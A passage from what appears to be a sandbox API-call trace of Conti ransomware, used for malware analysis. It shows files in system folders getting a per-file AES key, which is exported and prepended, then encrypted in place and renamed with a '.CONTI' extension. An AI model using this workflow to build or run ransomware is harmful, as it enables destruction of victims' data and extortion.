	[0103.368] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=36720) returned 1
	[0103.368] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8f70
	[0103.369] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.369] SetEndOfFile (hFile=0x30c) returned 1
	[0103.836] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.836] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.836] WriteFile (in: hFile=0x30c, lpBuffer=0x17d5b0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d5b0c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0103.840] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.840] ReadFile (in: hFile=0x30c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x8f70, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x8f70, lpOverlapped=0x0) returned 1
	[0103.841] CryptEncrypt (in: hKey=0x17c8070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x8f70, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x8f80) returned 1
	[0103.841] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.841] WriteFile (in: hFile=0x30c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x8f80, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x8f80, lpOverlapped=0x0) returned 1
	[0103.842] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.842] WriteFile (in: hFile=0x30c, lpBuffer=0x17d5b00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d5b00*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0103.842] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.842] CloseHandle (hObject=0x30c) returned 1
	[0103.842] GetProcessHeap () returned 0x1720000
	[0103.842] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.843] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml"
	[0103.843] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.CONTI"
	[0103.843] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml.conti")) returned 1
	[0103.844] GetProcessHeap () returned 0x1720000
	[0103.844] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.844] CryptDestroyKey (hKey=0x17c8070) returned 1
	[0103.844] GetProcessHeap () returned 0x1720000
	[0103.844] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf538 | out: hHeap=0x1720000) returned 1
	[0103.844] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0104.223] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d4b10 | out: phKey=0x17d4b10*=0x17c7eb0) returned 1
	[0104.224] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4b14, pdwDataLen=0x4d3fec4 | out: pbData=0x17d4b14*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0104.224] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71")) returned 0x24
	[0104.224] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0104.225] GetLastError () returned 0x0
	[0104.225] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=1565) returned 1
	[0104.225] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x61d
	[0104.225] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.225] SetEndOfFile (hFile=0x3c4) returned 1
	[0104.225] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.225] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.225] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d4b14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d4b14*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0104.227] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.227] ReadFile (in: hFile=0x3c4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x61d, lpOverlapped=0x0) returned 1
	[0104.227] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x61d, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x620) returned 1
	[0104.227] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.227] WriteFile (in: hFile=0x3c4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x620, lpOverlapped=0x0) returned 1
	[0104.227] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.227] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d4b08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d4b08*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0104.227] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0104.227] CloseHandle (hObject=0x3c4) returned 1
	[0104.227] GetProcessHeap () returned 0x1720000
	[0104.227] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0104.227] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"
	[0104.227] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.CONTI") returned="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.CONTI"
	[0104.227] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"), lpNewFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.CONTI" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.conti")) returned 1
	[0104.228] GetProcessHeap () returned 0x1720000
	[0104.228] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0104.228] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0104.228] GetProcessHeap () returned 0x1720000
	[0104.228] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca730 | out: hHeap=0x1720000) returned 1
	[0104.228] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0105.009] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d31f8 | out: phKey=0x17d31f8*=0x17c8270) returned 1
	[0105.009] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d31fc, pdwDataLen=0x4d3fec4 | out: pbData=0x17d31fc*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0105.010] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\parse.dat" (normalized: "c:\\programdata\\microsoft\\diagnosis\\parse.dat")) returned 0x20
	[0105.010] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\parse.dat" (normalized: "c:\\programdata\\microsoft\\diagnosis\\parse.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.010] GetLastError () returned 0x5
	[0105.010] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0105.010] GetProcessHeap () returned 0x1720000
	[0105.010] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0ac0 | out: hHeap=0x1720000) returned 1
	[0105.010] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0105.420] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d58c0 | out: phKey=0x17d58c0*=0x17c81b0) returned 1
	[0105.420] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d58c4, pdwDataLen=0x4d3fec4 | out: pbData=0x17d58c4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0105.421] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml")) returned 0x20
	[0105.421] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.421] GetLastError () returned 0x5
	[0105.421] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0105.421] GetProcessHeap () returned 0x1720000
	[0105.421] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cfc8 | out: hHeap=0x1720000) returned 1
	[0105.421] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0107.157] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d5f98 | out: phKey=0x17d5f98*=0x17c85b0) returned 1
	[0107.157] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5f9c, pdwDataLen=0x4d3fec4 | out: pbData=0x17d5f9c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0107.188] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml")) returned 0x20
	[0107.189] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.189] GetLastError () returned 0x0
	[0107.189] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=271) returned 1
	[0107.189] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0107.189] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.189] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.190] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.190] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.190] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d5f9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d5f9c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.193] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.194] ReadFile (in: hFile=0x3c4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x10f, lpOverlapped=0x0) returned 1
	[0107.194] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x10f, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x110) returned 1
	[0107.194] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.194] WriteFile (in: hFile=0x3c4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x110, lpOverlapped=0x0) returned 1
	[0107.194] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.194] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d5f90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d5f90*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0107.194] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.194] CloseHandle (hObject=0x3c4) returned 1
	[0107.194] GetProcessHeap () returned 0x1720000
	[0107.194] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.194] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml"
	[0107.194] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.CONTI"
	[0107.194] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml.conti")) returned 1
	[0107.195] GetProcessHeap () returned 0x1720000
	[0107.195] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.195] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0107.195] GetProcessHeap () returned 0x1720000
	[0107.195] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d578 | out: hHeap=0x1720000) returned 1
	[0107.195] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0107.195] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65159a0 | out: phKey=0x65159a0*=0x17c82b0) returned 1
	[0107.195] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65159a4, pdwDataLen=0x4d3fec4 | out: pbData=0x65159a4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0107.196] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.196] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.196] GetLastError () returned 0x0
	[0107.196] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=717) returned 1
	[0107.196] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0107.196] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.197] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.197] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.197] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.197] WriteFile (in: hFile=0x3c4, lpBuffer=0x65159a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65159a4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.199] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.199] ReadFile (in: hFile=0x3c4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2cd, lpOverlapped=0x0) returned 1
	[0107.199] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2cd, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d0) returned 1
	[0107.199] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.199] WriteFile (in: hFile=0x3c4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.199] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.199] WriteFile (in: hFile=0x3c4, lpBuffer=0x6515998*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6515998*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0107.199] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.199] CloseHandle (hObject=0x3c4) returned 1
	[0107.199] GetProcessHeap () returned 0x1720000
	[0107.199] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
